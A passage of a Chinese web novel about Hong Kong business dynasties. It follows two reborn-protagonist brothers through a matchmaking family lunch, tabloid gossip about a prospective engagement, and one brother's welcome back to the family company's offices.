“啧啧啧,谁再说这两人关系不好,我跟他急!这搂搂抱抱的,不是挺好的吗。” “就是说!你什么时候见过那么有活人味的太子爷?” “见人就咬的陈一诺对着陈宗礼居然毫无反手之力,反差太萌了……” …… “我!爬!上!去!了!” “你明明看着我爬上去的!” “放手,我要回去跟他们解释清楚,万一明天全是说我不行的新闻报道。我卷铺盖回A国得了!” 陈一诺为了证明自己,脸红耳赤地要跑回去解释。 陈宗礼松开对他的钳制,拉着他的手臂往前走,笑道:“放心吧,他们不敢写这些。” 陈一诺不信:“他们是港媒!有什么不敢写的?” 陈宗礼宠溺地笑笑:“他们要是敢乱写你不行,我把他们告破产,这样总行了吧?别气了……” 陈一诺回过味来,连续几下连环拳落到陈宗礼手臂:“都是你!要不是你口无遮拦,我至于这么暴躁吗!都是你!!” 陈宗礼大手忽然包裹住他的手,把人拉到面前,两人距离忽然拉近,陈一诺身上的柚子味缓缓飘过陈宗礼的鼻尖,混杂了若有似无的红茶味。 陈宗礼垂眸看着双手被自己束缚住的陈一诺,白皙的手腕有一圈淡淡的红,陈一诺慌乱地喊了声:“疼……”让陈宗礼忍不住喉结上下滚动了一遭。 “唰——” 身旁的包间门突然被打开,一个女生愕然地看着门外四手相握的两兄弟。 女生愣了一会儿,很快反应过来:“你们兄弟感情也太好了,快进来坐!” 看清楚开门的人,陈一诺立刻停止跟陈宗礼玩闹,迅速把手背到身后,拉开两人的距离。边整理衣服,边对女生礼貌问好:“思维姐,好久不见。” 第48章 那年,陈一诺带着成绩单跑到高三教学楼找陈宗礼耀武扬威。结果被一群漂亮的“蜘蛛精”围得水泄不通。那一幕让他至今难忘。 后来,他才知道,里面留着一头波浪卷发,长得像洋娃娃的那位就是李思维。 李思维是拥有四分之一外国人血统的混血儿,五官深邃立体,标准的9头身美女,家世背景更是港城顶流,为此被誉为“港城最后一个名媛”。 今天出席家宴,特意穿了一袭浅紫丝绸连体衣,长发盘成髻,跟学生时期比,更添了几分女人的抚媚。 她笑着跟陈一诺问好:“一诺,好久不见,越来越帅了。” 目光又转向陈宗礼,嘴上挂着微笑:“好久不见啊,陈宗礼。” 陈一诺一耳朵就听出了差别,李思维跟陈宗礼说话时,尾音是往上翘的,像在撒娇,是熟稔的关系才会如此。 陈宗礼很自然地点头,反问她:“什么时候回来的。” “昨晚和宝瑶一起回来的。” 陈一诺看向包间,一眼跟庄宝瑶对上视线,她一头利落短发,黑背心牛仔裤,又酷又飒。从他们进门开始,一直盯着他们的方向看。 吴淑芬忍不住了,招呼他们:“别堵在门口呀,来来来,坐下说!” 李思维后背贴门自觉让出一条路,示意他们先进来。 利园有四个VIP包间,用港城的吉利话取名。今天,酒楼经理给他们家留的包间是:花好月圆。 陈一诺走进包间,十人位的圆桌,除了陈家人,还坐着李家纯一家三口和庄宝瑶。 他们分别喊人:“李伯父,伯母,宝瑶姐。” 李伯母秦若霜保养得当,是标准的豪门阔太,她温婉笑道:“一诺和宗礼比电视上,还帅气。” 旁边的李家纯身材瘦削,目光锐利地打量着近来抢尽风头的陈家两兄弟,对陈老太说:“老太太,你好福气啊!” “两个孙子都一表人材,一个把天峻打理得井井有条,一个自己创业风生水起,天天上新闻,了不起啊。” 陈老太太官方地笑答:“一个太死板,一个不定性。比不上你们思□□重!” 二婶接腔:“就是啊!这几年把LS做成高端艺术酒店,听说,光是港城的LS就一房难求啊。” 李家纯摆摆手:“女孩子家家瞎折腾的,你别鼓励她了,不然又跑国外去。几年见不着一面。” 全港城的人都清楚,李家纯“重男轻女”,偏偏秦若霜只生了李思维一个女儿,为此,这位“港城最后一位名媛”的童年非常艰难。既想让父亲认同她不比男生差,又被世俗的“好女孩”观念束缚着。 二婶笑着岔开话题,问李思维:“思维这次回来,就不走了吧?” 秦若霜眼里带着对女儿的宠溺,答道:“她在港城办了一个策展公司,给宝瑶她们拍卖行新建的画廊做开幕式的策展,短时间应该都留在港城。” 二婶:“那挺好呀,能多陪陪你们。” 大家长们在聊天,陈宗瑜拍拍她右侧的空椅,对陈一诺挤眉弄眼:“一诺哥哥,你坐这里!” 陈一诺打量着坐次安排,老太太坐主位,右侧是李家纯一家。左侧是吴淑芬,庄宝瑶和陈宗瑜。 他一屁股坐在陈宗瑜身边,陈宗礼只能做他旁边的空位,而他旁边正好是李思维。 一对璧人,光坐在一起,就够养眼的。 吴淑芬挤眉弄眼道:“宗礼,你跟思维那么久不见,坐在一起,刚好叙叙旧。” 秦若霜也帮腔道:“对对对,哎哟,上次一起吃饭,还是好几年前,现在孩子们都大了。” 没人察觉陈宗礼眼神沉了沉,但很快又恢复正常,他坦然地拉开椅子,坐在李思维身旁。 陈一诺凑到陈宗瑜耳畔,问道:“这饭局,是刚好遇到了,还是早有预谋啊?” 陈宗瑜白了他一眼,反问:“怎么可能刚好遇到,奶奶跟秦伯母打麻将,听说思维姐要回来,早早就约好今天和李家喝早茶。” “老太太的算盘打得可精,我妈说,趁着她回来,两家联络感情,希望明年能喝上孙媳妇茶!” 原来今天是跟未来亲家聚餐啊。 以前港媒说过一句话:整个港城除了李思维,没有人配得上陈宗礼。 陈一诺用余光偷看身旁的陈宗礼和李思维,两个人哪怕不说话就这么安静坐着,郎才女貌就具象化了。 …… 如果按上辈子的时间推断,陈宗礼跟李思维订婚进入倒计时。 作为港城豪门期待已久的大喜事,狗仔们铆足干劲,深挖两人青梅足马的往事,还把两人订婚细节扒了个底朝天。 当所有人翘首以盼这场订婚宴,偏偏陈一诺在A国出了事——他被捕的消息传回了港城。 按照后来陈宗瑜所说,陈宗礼听见这个消息后,不顾老太太和李家的反对,一意孤行飞往A国。订婚宴取消,媒体大肆报道说,大骂陈宗礼渣男,狠心抛弃李思维。 哪怕陈老太亲自上门道歉,陈李两家的关系也覆水难收。 这件事过去一个月后,李家火速宣布李思维跟贺朝阳结婚,港城哗然。 至此,李家和贺家结成联盟,四大家族的格局天翻地覆,李家从陈家的最大助力,变成了最大阻力。 上辈子,陈一诺出狱回港城后,在某个派对上遇见了李思维。当时,她一个人被记者围堵,记者追问她,贺朝阳的律师已经向法院提起诉讼,要跟她打离婚官司,这个消息是否属实。 千金小姐还是那个千金小姐,只是让人艳羡的长发剪短了,从前温暖人心的笑容,蒙了一层疲惫的雾霾。 她麻木说着:“无可奉告。”试图突破重围。 无奈势单力薄,在狗仔挤得寸步难行。最后,还是陈一诺让保镖冲到人群里,把她护送去停车场。 他们见面时,陈一诺坐在轮椅上,再也不是当年那个意气风发的陈家二少。 看见他这副模样,李思维瞬间红了眼眶。 他们聊了一会近况,贺太太的日子过得不太好,当年,贺朝阳为了博取父亲的欢心,跟李思维结婚,欲望和野心与日俱增,手段也愈发残忍。 婚后第二年,重男轻女的李家纯把一个私生子领回了家。最终,李思维父母离婚,李家独女的一切都被弟弟彻底取代。 曾经,追求者从港城飞鱼山顶排到巴黎的李家大小姐,人到中年,成了既不受夫家待见,又不受娘家疼爱的豪门怨妇。 当时,她生无可恋地对陈一诺说:“上一次见你,还是在圣保罗的时候。现在回想起来,好像是上辈子的事。” 陈一诺问道:“你有怪过我吗?要不是因为我,你跟我哥也不会订不成婚,后来……” 没想到,李思维摇摇头,回答:“我和宗礼本来也……哎,算了,过去的事不提了。” “最近,我总会想起他。挺羡慕他的,两眼一闭,什么事都不用管,什么苦都不用受。” 当时,李思维情绪太低落,回答也很含糊,陈一诺根本没法追问。而这段谈话,只是让她跟陈宗礼本就扑溯迷离的关系,又蒙上一层雾。 现在,在古德庆坦白之后,陈一诺更确信。上辈子,他入狱、陈宗礼悔婚、展开跨国营救,导致陈李联姻失败,最终贺李成功联姻……一切全是贺家精心设计的陷阱。 这辈子,一切都在悄然改变,陈宗礼跟李思维的结局是不是有其他可能? 兴许,这辈子他们能携手走进婚姻殿堂,陈李两家缔结联盟,和贺家抗衡。 这样一来,陈宗礼不会死,李思维不用变成怨妇,陈家也不会败落,皆大欢喜。 旁边的陈宗礼边听李思维说话,边把手指按在转盘上,提醒发愣的陈一诺:“蛋挞!” 陈一诺思绪回笼,目光顺着他的手指看去,发现面前放着刚出炉的燕窝蛋挞。 他立刻伸手夹了一个放到碗里,又偷看一眼陈宗礼,跟李思维聊得那么开心,还记着他,心里有一丝窃喜。 陈宗礼继续把转盘往前转,跟李思维说:“吃蛋挞。” 啪!专属待遇没了。 陈一诺冷哼一声,收回目光。把情绪发泄在蛋挞上,他狠咬了口燕窝蛋挞。浓郁蛋挞上面铺上厚厚一层燕窝,明明是心心念念的味道。到嘴里,却莫名地没了滋味。 奇怪,换厨师了?! …… 饭吃到一半,大家喝了几杯,等桌上的蛋挞再转到陈一诺面前,已经光盘。 大家有一句没一句地聊着,不可避免地聊到最近陈家和贺家的事。 跟陈家不同,李贺两家的生意来往密集,国内一半生意都是跟贺家有合作,两家牵连很深。如今古德庆事件,让陈贺两家闹僵,夹在中间的李家纯端着长辈身份,企图敲打晚辈。 李家纯冷不丁地说:“作为长辈,还是要跟宗礼和一诺说一说。你们虽然很能干,但是,年轻人做事要讲分寸吗,不能意气用事!” “那个古德庆就该私下处理,他这种掉进钱眼里的人,说话怎么能全信呢?” “现在可好,你们两家掐起来,外人怎么议论我们四大家族?面子不要咯?还便宜了那些八卦网民,何必呢?” 现场的气氛,因为李家纯的话,瞬间冷了下来。陈一诺嘴角抽了抽,陈宗礼看出他要反驳,立刻按住他的小臂,示意他忍一忍。 秦若霜在一旁缓和气氛,说道:“不是在走法律程序了吗?姓古的怎么说,网民怎么说,都没用。最后看法官怎么判不就好了。” 李家纯冷着脸,不耐烦:“你一个女人懂什么?这种事情,就不应该闹到人尽皆知,更不应该闹到法官那里。判了又如何?只为了讨回一个公道,公道值多少钱?生意不要了?四大家族之间的情谊不要了?” 从“你一个女人”懂什么开始,现场的女士脸色都冷了下来。特别是李思维抿着嘴,面色不虞。 二婶开口道:“李总,讨回公道,不就该人尽皆知吗?” “当年贺家煽动舆论,把我们一诺赶去国外的时候,你怎么不说他们毁了四大家族的情谊?我们不过是以其人之道,还治其人之身。” 陈宗瑜应和:“就是,贺家先跟我们撕破脸,他们先毁了我们之间的关系,怎么从你嘴里变成我们有问题了?!” 李家纯不屑跟吴淑芬母女闭嘴,只能对陈老太抱怨:“老太太,你看看,她们实在太情绪化了!考虑问题当然要以大局为重!被狗咬了,难道你们也去咬狗吗?!” 陈老太太冷着张脸:“我也是女的!我情绪稳定觉得她们没说错!” “你是事不关己高高挂起!我们家被欺负了,还不能打回去了?我是退休了不管事!早几年,换我还是CEO,让我知道是他们捣鬼,骨头都给姓贺的拆咯!” “放几句狠话,打几场官司,我觉得他们处理挺解气的。再说,儿孙自有儿孙福,我们管那么多干嘛呀~” 虽然,老太太是女人,但在李家纯眼里,有辈分,有情分,还有功勋。商界赫赫有名的铁娘子都说别管。李家纯还能说什么,只能顺着台阶往下走。 他尴尬地“呵呵”两声:“是……管不着。” …… 桌子底下,陈宗瑜膝盖碰了碰陈一诺的,低声道:“奶奶真帅,嘿!” 陈一诺低声夸道:“你和二婶也很帅!” 陈宗瑜被夸后,脸有些红,她激动道:“李老头总瞧不起女生,说话还特别大男子主义。思维姐就是因为他,才总躲在国外不回来的。” “不怼他几句,还以为女人好欺负呢。” 陈一诺是听着“英雄救美”一套长大理论长大的,所以,他认为保护女性是自己的天职,万万没想到,有一天,他成了被女性保护的对象。 “叮——” 手机收到陈宗礼的消息。 C:让你别说话,不是怕你惹事,是怕你说得不够狠。 C:陈家大佬,女子旁,懂? 陈一诺这才明白,陈宗礼压着发言的用意,手指快速回复。 输给你爸不丢人:啧啧啧,懂懂懂,厉害厉害厉害。 第49章 “欢迎收看娱乐大爆炸!昨日记者发现李思维回港后密会陈宗礼,双方家长会面疑似好事近!” “周末,陈老太携家人聚餐,期间,陈老太和陈宗礼、陈一诺世纪同框,还一起接受采访。表示关系很好,接下来羽南港的合作可以拭目以待。” “当天,陈太子还跟陈二少罕见打闹,你以为是兄弟破冰,让太子爷心情大好?非也非也!” “小编费尽心思,拍到李思维和陈老太在利园告别的珍贵画面!原来,这不是简单的陈家聚餐,而是李思维的接风宴!” “离港5年的李思维,本周六晚刚回港,周日就迫不及待跟未来婆家吃饭。看来,陈李两家好事近了……” 车内,陈宗瑜摁掉音调越来越高的八卦视频,揉揉耳朵:“这群狗仔真是无孔不入。我们明明已经那么小心,他们居然还能拍到。” “我本来还期待着今天的头条是你和陈宗礼世纪大和解。这下好了,全在磕陈宗礼和思维姐的CP。” 陈一诺瞥了眼报道,本来就脸色不好,此时更是又冷了一个度。 通常,港媒报道他都当笑话看,唯独这次好死不死被他们猜对了。 港媒动不动就调侃兄弟反目,吹捧情侣好事近的恶趣味什么时候才能改改?! 陈一诺的低气压,成功引起了陈宗瑜的主意:“哥,你今天怎么了?心情不好?” 他手撑着车窗,表情恹恹的:“嗯,起床气!” 情绪不好是有原因的。 本来,他跟陈宗礼约好,今天上午一起出门,去天峻集团谈羽南港项目的推进。结果临出门前,陈宗礼突然跟他说,有事要处理,改由陈宗瑜带他去天峻。 陈一诺瞬间觉得不是滋味。他当年被天峻董事会勒令不许进入天峻,时隔几年,他由陈宗礼亲自陪同,名正言顺地重回天峻,肯定能狠狠打那群董事的脸! 但是,陈宗礼临时放他鸽子…… 到底什么事,比他回天峻还重要?! 就因为琢磨这件事,陈一诺琢磨出满肚子气…… …… 陈宗瑜看他不说话,凑过来继续说:“你说,是不是老太太故意的呀?” 陈一诺不解:“什么故意?” “故意让狗仔拍到李家跟我们吃饭啊。老太太一直盼着陈宗礼和思维姐结婚,替陈家开枝散叶。” “结果,思维姐在国外一呆好几年,这次回国,她还不抓紧机会制造些舆论压力,让他们早点定下来。” 陈一诺双手抱肩看她:“听你这语气……是不想他们在一起?” 陈宗瑜嘟起嘴唇:“他们当事人喜欢就好啦,我的想法又不重要。” “但是吧,看到思维姐,我总想到自己……” “你看陈宗礼和思维姐,虽然在一起登对吧。但我总觉得他俩有些貌合神离。也难怪老太太忍不住亲自出手。那以后,她会不会也插手我的事……” “还有,你别看奶奶不怎么管你,我妈说她也在暗中替你物色呢!不过我妈还是坚持你跟我试试,让奶奶先别着急。哎,烦死了……” 陈一诺听她说完,沉默了半天问:“你为什么觉得陈宗礼和李思维貌合神离?” 口干舌燥说了半天的陈宗瑜,双手叉腰:“喂,这是重点吗?!” 陈一诺不懂:“不然呢?那重点是什么?” 陈宗瑜哭笑不得:“重点当然是,我妈还在不懈努力撮合我和你啊!” 陈一诺淡然道:“你是想暗示我也找个人谈谈恋爱?” 陈宗瑜眼睛“蹭”就亮了:“有目标吗?” 当身边所有人都在谈恋爱的时候,陈一诺忽然有些叛逆。 心想,谈恋爱到底有什么好?专注力只能在一个人身上,身边所有人身份全降级。天天围着那个人转。 他堵气道:“没有!我就等着你35岁结不了婚来找我呢。” 陈宗瑜拽着他衣服猛摇:“呸呸呸!你这张乌鸦嘴!赶快呸!” …… 两兄妹打闹着,车驶入天峻集团大楼的停车场。 陈一诺绅士地替陈宗瑜开车门,陈宗瑜下车时脸色还是不好看,陈一诺企图牵她的手,想哄她,陈宗瑜也没什么架子,随他牵着往电梯间走。 余光察觉一辆保时捷内,似乎有一道残影。陈一诺敏锐地看了一会儿,影子已经消失了。 他收回目光,“叮——”电梯门缓缓打开。 电梯里的人看着他们牵着手,表情有些微妙。陈一诺看见对面的人,心先往下沉了沉,很快回过神来,挤出笑容跟对方打招呼。 “哥,思维姐,好巧啊。” …… 电梯里的两个人明显也没料到,电梯门打开后,刚好撞见他们,一时间也愣了。 陈宗礼的冰块脸上,罕有地出现“被抓包”的无措表情。 李思维率先走出电梯,大方问候:“一诺,宗瑜,又见面啦!” 陈宗瑜一脸坏笑:“我说陈宗礼怎么提前出门,原来是约了思维姐啊~” 不说还好,这句话一说,陈宗礼明显察觉陈一诺的脸色又沉了沉。 被打趣的李思维淡淡一笑,解释道:“没办法,你哥大忙人,接下来一周,我们的时间都对不上。我还是专门拜托老太太帮忙插队,才让宗礼挤出早上一点时间跟我碰头呢!” 本来,李思维的解释,让陈一诺脸色缓解了些。结果,陈宗瑜又阴阳怪气来了句:“哎哟……有生之年居然能看见陈宗礼迁就人,思维姐,他都没迁就过我!” 她手肘戳戳陈一诺,让他加入起哄行列。 陈一诺压抑着内心的情绪,故意道:“我们跟思维姐,肯定没法比呀。” 陈宗礼上斜眼看着陈一诺,欲言又止。 那天聚餐上,李思维也提过,画廊要找陈宗礼帮忙,只是谁也没想到,替代厉云的新助理记混了他的行程。把李思维碰面的时间,和陈一诺回天峻的日子重叠了。 今天一大早,老太太敲他的房门,提醒他早上跟李思维碰面的事。无奈之下,陈宗礼只能放了陈一诺的鸽子。 谁曾想,他们还会在电梯上遇见。可此时,他再解释什么,又显得太刻意。 到最后,只能说一句:“没有的事。别瞎猜……” 陈宗瑜挽紧陈一诺的手臂,撒娇道:“现在没有,又不代表以后没有!反正,我还有一诺哥哥。你怎么样随便啦……” 李思维打量着面前黏黏糊糊的两兄妹,表情有些微妙,笑着说:“我们得走了,宝瑶的亚士得旗舰画廊月底开业,到时候记得来玩哦。” 陈宗瑜听见有地方玩,一双眼睛亮亮的:“对哦,宝瑶姐现在成画廊主理人了?!真厉害!” 李思维笑道:“是啊!我们公司负责画廊的策展工作,所以这画廊开幕展也有我一半的心血,到时候你一定要来啊!” 有地方玩陈宗瑜自然兴奋,她说:“一言为定,到时见~” 李思维跟他们告了别,踩着高跟鞋往停车场去,身后的陈宗礼在经过陈一诺时停下。 低声叮嘱:“羽南港的会议延后到下午2点。等我回来,再陪你在公司转一转……” 陈一诺心里依然发堵,又不想被陈宗礼察觉,故作轻松道:“哎哟,你晚点回,不回来都没关系,好好陪思维姐!” 陈宗瑜听不出陈一诺的情绪,附和道:“就是,快去快去!约会加油哦!” 陈宗礼表情复杂地看向陈一诺,欲言又止,最后重申一句:“2点见”,说罢扬长而去。 …… “叮——”电梯门再次打开。 “看来,老太太这招破冰确实有用!你看陈宗礼跟思维姐这不就开始约会了,我看他们有戏~” 陈宗瑜没心没肺,一脸磕完糖的满足。她走进电梯,才发现陈一诺还站在电梯外没动。 她问:“一诺哥哥,发什么愣!上来啊!” 陈一诺回过神来,把心里的情绪压下,说了声“好”,也上了电梯。 …… “砰——” 李思维和陈宗礼前后脚上了保时捷。 李思维边整理着裙摆,边对司机位的男人说:“庄嘉轩,你躲在车上干嘛?我们刚才遇到一诺和宗瑜,你也不来打招呼。” 她不知道,庄嘉轩躲在这里,就是不想跟陈宗瑜遇到。 庄嘉轩战术性咳嗽几声,撒谎:“刚刚接了个重要电话,嗨,我经常见他们,用不着特意下去打招呼。” 亚士得的旗舰画廊即将开业,李思维需要在开幕那天邀请明星到现场。 于是,今天特意约了娱乐巨头——环亚集团的少爷庄嘉轩,以及TVA的老板陈宗礼谈合作。 一听说要去天峻,庄某人警铃大作,故意把时间约在天峻员工上班之前。间接导致陈宗礼行程冲突。没想到,还是差一点遇到了! 庄嘉轩从倒后镜心虚地看了一眼陈宗礼,陈宗礼还他一个鄙视的眼神,像在说:你继续编。 李思维并不清楚庄嘉轩跟陈宗瑜那些恩怨情仇,她专注地回手机上的消息,自顾自地问道:“哎,宗瑜跟一诺,是不是在谈恋爱啊?” “……” 这一问,整个车厢一片安静。 如果此时,李思维的视线从手机屏幕挪到身旁的两位男士脸上,就能发现各有各的精彩。 不明所以的庄嘉轩抬头看后视镜里的陈宗礼,仿佛在询问:怎么回事?!(其实是一个瞪眼) 陈宗礼回了一个眼神:我怎么知道?!(又是一个瞪眼) 庄嘉轩在陈宗礼身上找不到答案,假装开玩笑:“他两谈恋爱?真的假的?” 李思维目光从手机挪回来:“你没亲眼看到,当然不信……” “刚刚电梯门一打开,我们就看见一诺牵着宗瑜的手,两个人有说有笑。特别亲密。是吧,宗礼?” 宗礼手指摸了摸鼻尖,没否认。心里的气还没处撒,只能坑坑好朋友。 庄嘉轩不以为然:“他们兄妹,从小就这样……” 李思维不同意他的观点,指着陈宗礼反驳道:“他和宗瑜还是亲兄妹呢,我就没见过他牵宗瑜的手,她还叫一诺,一诺哥哥!喊他都是全名陈宗礼!看出差别了吧~” 庄嘉轩心想:还不是因为陈宗礼跟谁都不亲! “其实……”陈宗礼刚要开口反驳,李思维就打断了:“还有,那天在利园吃饭……” 为了照顾不在现场的庄嘉轩,她故意俯身,趴在前排桌椅靠背上,生怕他听不见:“那天在利园吃饭,你没看见,宗瑜的妈妈可喜欢一诺了。” “说找女婿就是要找一诺这样的,长得帅气,有事业又上进,知根知底……” 陈宗礼忍不住,解释道:“二婶,那是开笑话。” 李思维手指摇了摇:“怎么可能!十几岁的时候说,还可能是玩笑话。现在两个人都到适婚年龄了,大人还开这种玩笑,就肯定是真的!” “首先,他们青梅竹马,年纪小的时候有深厚的感情基础。现在长大了,青梅竹马情发展成爱情,不是顺理成章吗?” “反正,我看有戏。” 陈一诺跟陈宗瑜凑对的玩笑,陈宗礼从小就听,早就不以为然了。但从李思维这个外人视角说了一遍,他又觉得……似乎真的……有点可能? “哎哎,庄少,前面红灯!停车!!”李思维突然尖叫一声。 “咿——撒——” 心不在焉的庄嘉轩,忽然反应过来,一脚急刹,后排的陈宗礼和李思维惯性往前冲,车轮堪堪压在黄线上,因为惯性,他们又撞回座位。 李思维皱眉摸着自己的腰,骂道:“庄嘉轩,你到底会不会开车啊!” 第50章 电梯缓缓上升,陈一诺在陈宗瑜的陪同下,时隔七年后,再次踏入天峻集团办公楼。 他突然想起,上辈子,某次回天峻办公楼的情景。 那时他念高三,每周固定一天回天峻旁听会议。 其实,这种断断续续的旁听没什么意义,中间需要即时反馈的决策他都没法参与。只能每周跟进项目进度,熟悉流程。陈宗礼大部分时间不在,天峻对他而言,吸引力更低了。 由于不常来,他在天峻没有固定的工位。 这天,会议推后半小时,他在员工餐厅找了个空位看书。忽然,身边两个员工在闲聊,提到“太子爷”三个字时,他的注意力瞬间转移了。 员工A:“听说你们部门大地震怎么回事?” 员工B左看看右看看,确定没有部门熟人,才低声道:“新财年计划要来了,我们部门就打算总结一下去年的营销费用情况。没想到,太子爷突然空降!我老大,我老大的老大,集体吓了一跳!” “你也知道,每年的营销费用都是要花完的,不然明年不好找财务要呀。所以,财年最后一个季度,市场部会把没用完的钱花掉。那么多年,部门之间都约定俗成的。谁知道太子爷上来就问,最后季度的营销费用比前三个季度多,效果却比前面三个季度差。是为什么?” “他还现场调取了前三年的营销总结,发现都存在这个问题。现场所有人,哑口无言……他就让财务总监调取,近几年,最后一个季度,市场部下的PO单。发现都集中在某几个供应商。回去核实,发现部门高层和供应商收了回扣。这不就大地震了!” 员工A听得一愣一愣的:“听说,这太子爷还在念大学,不比我们大多少,这能力也太吓人了!” 员工B:“不但能力好,长得也是真帅!加上工作专业能力强到吓人,看见他,我真的会腿软……” 员工A笑笑:“你家里不是跟陈家有点交情,有没有机会跟太子爷发展发展?” 同事生B忽然清了清嗓子:“有机会谁不想啊?楼下战投部的Linda,天天去总裁办送咖啡,不就是想打探太子爷的行程,制造偶遇?” “听说,还有男的呢!!” “他们都不懂,灰姑娘的剧本根本不存在!豪门联姻的现实,就是要保证阶级不滑落~所以,太子爷要么娶李思维,要么娶比李思维更有钱,家境更雄厚的。” 员工A犹豫:“也未必吧,纯爱战士什么的……” 员工B切了声:“你就希望他别是纯爱战士吧!你试想,太子爷为了纯爱,牵着战投部Linda步入教堂,你心里面第一个想法是什么?” 第一个想法,甚至没过脑就脱口而出:“还不如李思维呢!” 员工B打了个响指:“就是嘛!” 这时,陈一诺收到消息,让他去会议室,会议即将开始了。 陈一诺便收拾好东西,提着背包进了电梯。电梯门即将关上的时候,忽然有人伸手拦了拦。 一个长发女生手里提着两袋咖啡,被电梯里熟人遇见,对方喊道:“Linda~去买咖啡了?!” Linda按下楼层——28层总裁办办公室。 陈一诺撇了一眼这位Linda小姐,他无心比较,但不得不想: 果然,还是得李思维啊。 …… 本来不爽利的心情,因为过去这段插曲,奇迹般解决了陈一诺的郁闷。 如果用上辈子跟这辈子比,在李思维的角度,嫁陈宗礼,比嫁贺朝阳好!在陈宗礼的角度,娶李思维比娶其他人好! 如此完美的闭环,天造地设的一对璧人。陈一诺有什么好难过的!他不仅不该难过,甚至还要帮帮他们尽早闭环才对! 这么想着,他跟着陈宗瑜走出电梯,两排员工站在他面前,喊道:“欢迎小陈总回归天峻!” “啪啪——”两边的员工拉开礼花,五颜六色的彩带落了陈一诺满身。 中间一位男生捧着一束金灿灿的向日葵,递给陈一诺,眼神有些躲闪,道:“小陈总,这是送你的花,欢迎你回归天峻!!” “谢谢……”陈一诺惊讶地接过花束,趁扒拉头上彩带的功夫,假笑着看向陈宗瑜:“这么隆重吗?” “陈宗礼特意叮嘱的,不止这些哦!”说完,陈宗瑜拉着他的手往办公室的方向走。 迎面看见一间办公室的门牌写着:陈宗礼,总裁办公室。 再往里面走,还有一间办公室,门牌写着:陈一诺,一星总裁办公室 陈宗瑜介绍:“原本,一整层只有陈宗礼一间总裁办公室。他知道你要过来,特意把自己办公室旁边的空房间,让人布置好,给你当办公室!” “是不是跟家里一样?” 他看着门牌,点点头,轻声吐出一个:“是……” 跟家里一样,他们共同分享一层空间。陈一诺自然清楚,陈宗礼的用意。 他在传递,他们并不是上下级,不是兄弟,他们之间没高低,不分大小,他们是平起平坐的。 陈宗瑜拍拍他的肩膀:“那你自己熟悉一下,我的办公室就在楼下,常找我玩啊!” 陈宗瑜发现那个送花的男生迟迟不走,问道:“小童……你还有事?” 叫小童的助理立刻给陈一诺一个180度的大鞠躬:“对不起,小陈总!是我把老板的行程搞错!实在对不起!” 陈宗瑜听得云里雾里:“什么行程搞错了?” 陈一诺脑海里闪过陈宗礼的欲言又止,瞬间了然:“所以,你把思维姐和我的行程重叠了?让他不得不放我鸽子?” 小童羞得满脸通红:“对……本来,老板也会欢迎队伍里,把这束花亲自送给你,都怪我……” 陈一诺手指揉了揉包花的雪梨纸,心想如果电梯门打开,看见陈宗礼亲自抱着花送到他面前…… 他好像还真的没收过花。 心情莫名好了许多,对小童说:“我接受你的道歉,但下不为例!” 小童在拿到助理这个岗位的offer后,快速补习了陈家兄弟的生平资料。区别于陈宗礼豪门继承者独有的大气稳重,眼前这位小陈总却喜欢剑走偏锋的乖张。 以至于,他琢磨不透,陈一诺是不是真的接受了他的道歉。一时站在原地,不知道该不该走。 还好陈宗瑜醒目,拍拍他的肩:“原谅你了!还不走?!”他找到救星似的,“哎哎”两声连忙跟上。 …… 整个上午,陈一诺都在熟悉了新办公室。再抬头,距离陈宗礼约定的下午2点,还差15分钟。 他连忙把杯子里的咖啡喝完,夹起笔记本电脑,前往会议室。 途径陈宗礼办公室时,没忍住往里面撇了一眼,没看到人,又低头继续朝电梯间去。 心里想:跟李思维约会完了吧?吃饭?吃什么吃那么久?聊天?聊什么呢,聊那么投入……刚刚他说着不回来也没关系,他不会真的不来吧…… 脑海里的小人机关枪似的吐槽,他脚步不停已经到了会议室门口。 推开会议室的门,看见里面的人,瞬间怔愣…… 正午时分,户外温度热得蒸人。会议室的落地窗把高温挡在玻璃外,会议桌上落下玻璃的影子,偶有一些斑斑点点,那是没擦干净的灰尘。 陈宗礼不知道提前多久抵达会议室,他正襟危坐,在笔记本电脑上敲敲打打。他的坐姿向来端正,兴许就是他不近视的原因吧。 上午穿在身上的西装外套被他搭在椅背上,上身只有一件白衬衫和领带,玻璃的影子一部分落在他宽厚的后背上,金色的,茸茸的,像加了一层发光滤镜。 听见推门声,他撩起眼皮,看见是陈一诺,修长的手指从右侧拖出一个纸盒,敲了敲左边的空位:“蛋挞吃么?” 陈一诺看看纸盒,立刻认出:“宝记的蛋挞?你们去宝记约会了?” 陈宗礼脸色一冷:“没约会,特意让周老板留的,你不是嫌利园的不好吃。” 陈一诺嘀咕:哦,你又记得了? 周老板除了拥有港城最大的赛车场,还拥有港城老字号的港式茶餐厅——宝记。 从圣保罗中学步行5分钟就到。宝记的招牌是蛋挞,每天中午12点限量出炉。普通食客大多买原味酥皮蛋挞,懂吃的饕餮会指定买他家隐藏款——燕窝蛋挞。 飘香四溢的蛋挞味,勾着陈一诺在他旁边坐下。 陈一诺不嗜甜,对港城的糖水、甜点兴趣不大。有一回放学,他被陈宗礼带到宝记,吃了第一口燕窝蛋挞,陈一诺事后形容,那是一见钟情的味道。 正如他现在拿着的一个新鲜出炉的蛋挞,挞皮还是热的,一口咬下去,燕窝口感软糯混合浓郁蛋香,搭配层层的松脆,简直让人迷糊。 他边吃边陶醉道:“我可以为这个蛋挞鞠躬尽瘁,死而后已……” 陈宗礼调侃道:“一个蛋挞而已,大可不必。” 他吃着蛋挞,歪头看陈宗礼的笔记本屏幕,对方完全没有避开的意思,自如地用英文发邮件。 那是一封TVA艺人部发给他的邮件,内容大概是拟定了一批“艺思轩”开幕当天,莅临现场的艺人名单,希望陈宗礼过目。 这么细碎的事情,要一个集团总裁过目?陈一诺不解。 他指着邮件的内容,问道:“艺思轩是什么?” 陈宗礼的目光没有离开笔记本屏幕,嘴上说道:“亚士得新画廊的名称。” 他点开名单,从上自下扫了一遍,把其中几个艺人的名字标黄,简洁回复对方:标黄的删掉。 陈一诺了然地“哦”了声,又是李思维…… 上辈子,李思维跟陈宗礼订婚之前,的确在替画廊筹备开幕。但等陈一诺回港,这家画廊早就关门了。李思维的策展公司也停止营业。具体原因不明,陈一诺也没时间深究。 他好奇道:“思维姐怎么突然想弄策展公司?我以为她主要精力都在LS酒店的新店运营。” 陈宗礼解释道:“她专业是艺术鉴赏,做LS酒店是想多积攒艺术资源,在国外呆那么多年,是为了方便跑艺术展,给策展公司做积累。” 听完陈宗礼三言两语的描述下,陈一诺惊觉李思维原来还有跟上辈子完全相反的一面。 她不是豪门怨妇,不是被原生家庭抛弃的弃儿。她也曾经想过独立,曾经非常有野心,想拥有自己的事业。 